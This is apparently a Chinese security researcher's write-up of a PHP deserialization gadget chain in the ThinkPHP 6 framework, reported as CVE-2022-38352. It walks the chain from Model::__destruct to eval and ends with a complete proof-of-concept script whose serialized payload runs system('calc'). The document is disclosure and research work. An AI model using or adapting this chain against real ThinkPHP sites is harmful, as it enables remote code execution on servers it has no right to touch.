环境配置
composer create-project topthink/think tp6
搭建本地环境(apache+mysql+ftp),这里需要注意php版本要求7.1+
漏洞挖掘
对于php反序列化漏洞出发点几乎都是从魔法函数走起,__destruct魔法函数极为常见,这次也是通过这个开始
用的是ps【phpstorm64】,ctrl+shift+f全局搜索__destruct
其他的也都大致看了看暂时感觉没啥用,抓住这个看一下,这个可以看到this->lazySave属于可控变量,跟进save方法
/vendor/topthink/think-orm/src/Model.php
这里我们需要让下面这个if语句不成立,执行这个语句
if ($this->isEmpty() || false === $this->trigger(‘BeforeWrite’))
$result = $this->exists ? $this->updateData() : $this->insertData($sequence);
首先先看看isEmpty方法,跟进一下看看
不难发现,this->data这又是一个可控变量,只需要满足data[]不为空就会返回false
然后继续看第二个,跟进trigger()方法
可以发现又是个可控变量$this->withiEvent
设置withEvent为false,取反之后就是true就会返回true,所以此if语句两个都不成立,就会跳过判断进入想要进入的那个语句
这个语句中exists属于可控变量
跟进updateData方法
有点长,粘下来吧
protected function updateData(): bool
{
// 事件回调
if (false === $this->trigger('BeforeUpdate')) {
return false;
}
$this->checkData();
// 获取有更新的数据
$data = $this->getChangedData();
if (empty($data)) {
// 关联更新
if (!empty($this->relationWrite)) {
$this->autoRelationUpdate();
}
return true;
}
if ($this->autoWriteTimestamp && $this->updateTime) {
// 自动写入更新时间
$data[$this->updateTime] = $this->autoWriteTimestamp();
$this->data[$this->updateTime] = $data[$this->updateTime];
}
// 检查允许字段
$allowFields = $this->checkAllowFields();
foreach ($this->relationWrite as $name => $val) {
if (!is_array($val)) {
continue;
}
foreach ($val as $key) {
if (isset($data[$key])) {
unset($data[$key]);
}
}
}
// 模型更新
$db = $this->db();
$db->transaction(function () use ($data, $allowFields, $db) {
$this->key = null;
$where = $this->getWhere();
$result = $db->where($where)
->strict(false)
->cache(true)
->setOption('key', $this->key)
->field($allowFields)
->update($data);
$this->checkResult($result);
// 关联更新
if (!empty($this->relationWrite)) {
$this->autoRelationUpdate();
}
});
// 更新回调
$this->trigger('AfterUpdate');
return true;
}
这里首先trigger可控,又checkdata方法又没定义,都可以跳过
直接跟进getChangeData方法
$this->force可控,为true时就会返回$this->data,所以也就是$data=$this->data
这里我们想进入到checkAllowFields方法需要让上面的if语句不成立
简单来说也就是让$data是否为空,这里若为空,就可以不进入if语句,执行到checkAllowFields()
继续跟进到checkAllowFields()
这里刚开始的两个变量field和schema都是可控变量,构造为空时就可以进入db方法
不难发现这里就会触发_tostring魔法函数,这里的点起到了字符串拼接作用
综上这一部分的pop链子就是这样的
__destruct()——>save()——>updateData()——>checkAllowFields()——>db()——>$this->table . $this->suffix(字符串拼接)——>toString()
$this->exists = true;
$this->$withEvent = false;
$this->$lazySave = true;
然后后面就是之前的老链子了,tp5的链子
出发点是这个
跟进toJson方法
继续跟进toArray方法
在下面这里这个关键函数
触发他的条件是
this−>visible[key]存在,即this->visible存在键名为key的键,而k e y 则 来 源 于 data的键名,data则来源于this->data,也就是说this−>data和this->visible要有相同的键名$key
继续跟进getAttr方法,在这里不难发现,这个地方对于$this->pool->getItem($this->key);调用的同时也触发了__call魔法函数
这个getltem方法在Cgabbel对象中又不存在,所以调用之前会先构造
__call () 用于当调用一个对象存在的方法时自动调用。
__call函数调用了log函数之后又去调用record函数
继续跟进record函数,继续跟进save函数
继续调用save函数
跟进去
这个request类中url会进行解析
跟进invoke函数
跟进invokeMethod
至此链子已经很清晰了,现在构建反序列化入口
需要编写一个控制器模块并存在反序列化可控点得以利用此链条
访问该路由,传参测试
入口点构造成功,下面开始写入poc
最后回到eval函数即可执行RCE
poc如下
<?php
namespace League\Flysystem\Cached\Storage{
class Psr6Cache{
private $pool;
protected $autosave = false;
public function __construct($exp)
{
$this->pool = $exp;
}
}
}
namespace think\log{
class Channel{
protected $logger;
protected $lazy = true;
public function __construct($exp)
{
$this->logger = $exp;
$this->lazy = false;
}
}
}
namespace think{
class Request{
protected $url;
public function __construct()
{
$this->url = '<?php system(\'calc\'); exit(); ?>';
}
}
class App{
protected $instances = [];
public function __construct()
{
$this->instances = ['think\Request'=>new Request()];
}
}
}
namespace think\view\driver{
class Php{}
}
namespace think\log\driver{
class Socket{
protected $config = [];
protected $app;
protected $clientArg = [];
public function __construct()
{
$this->config = [
'debug'=>true,
'force_client_ids' => 1,
'allow_client_ids' => '',
'format_head' => [new \think\view\driver\Php,'display'], # 利用类和方法
];
$this->app = new \think\App();
$this->clientArg = ['tabid'=>'1'];
}
}
}
namespace{
$c = new think\log\driver\Socket();
$b = new think\log\Channel($c);
$a = new League\Flysystem\Cached\Storage\Psr6Cache($b);
echo urlencode(serialize($a));
}
后言
已提交CVE,编号CVE-2022-38352
https://github.com/top-think/framework/issues/2749
浅浅总结一下,找洞的秘诀是细心!耐心!